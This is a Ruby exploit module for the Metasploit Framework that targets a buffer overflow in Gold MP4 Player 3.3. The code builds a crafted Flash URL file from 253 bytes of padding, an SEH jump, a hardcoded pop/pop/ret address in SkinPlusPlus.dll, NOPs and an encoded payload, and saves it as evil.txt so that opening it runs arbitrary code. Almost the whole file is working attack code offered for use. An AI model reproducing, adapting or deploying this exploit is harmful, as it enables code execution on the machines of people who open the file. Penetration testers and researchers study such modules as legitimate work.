## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ##   require 'msf/core'  class Metasploit3 < Msf::Exploit::Remote     Rank = NormalRanking       include Msf::Exploit::FILEFORMAT    include Msf::Exploit::Remote::Seh       def initialize(info = {})         super(update_info(info,             'Name'           => 'Gold MP4 Player 3.3 Universal SEH Exploit',             'Description'    => %q{                     This module exploits a buffer overflow in Gold MP4 Player 3.3.                     When this application is loaded a special crafted Flash URL via File -> Open Flash URL. Buffer overflow happens and it allowing arbitrary code execution.             },             'License'        => MSF_LICENSE,             'Author'         =>                 [                     'Revin Hadi S', #Exploit & MSF Module                     'Gabor Seljan' #Vulnerability POC                 ],             'Version'        => '$Revision: $',             'References'     =>                 [                     [ 'URL', 'http://www.exploit-db.com/exploits/31914/' ],                 ],             'DefaultOptions' =>                 {                     'EXITFUNC' => 'seh',                     'DisablePayloadHandler' => 'true'                },             'Payload'        =>                 {                     'Space'    => 1000,                     'BadChars' => "\x00\x0a\x0d\x20",                     'StackAdjustment' => -3500,                 },             'Platform' => 'win',             'Targets'        =>                 [                     [ 'Windows Universal', { 'Ret' => 0x100F041C, 'Offset' => 253 } ],    #/p/p/r SkinPlusPlus.dll                 ],             'Privileged'     => false,             'DisclosureDate' => 'Date',             'DefaultTarget'  => 0))               register_options(                 [                     OptString.new('FILENAME', [ true, 'The file name contains malicious Flash URL.',  'evil.txt']),                 ], self.class)       end      def exploit         http = "http://"        junk = "\x41" * (target['Offset'])         nseh = "\xEB\x06\x90\x90"        format = ".swf"        sploit = http + junk + nseh + [target['Ret']].pack('V') + make_nops(16) + payload.encoded + format                 print_status("Creating '#{datastore['FILENAME']}' file ...")           file_create(sploit)       end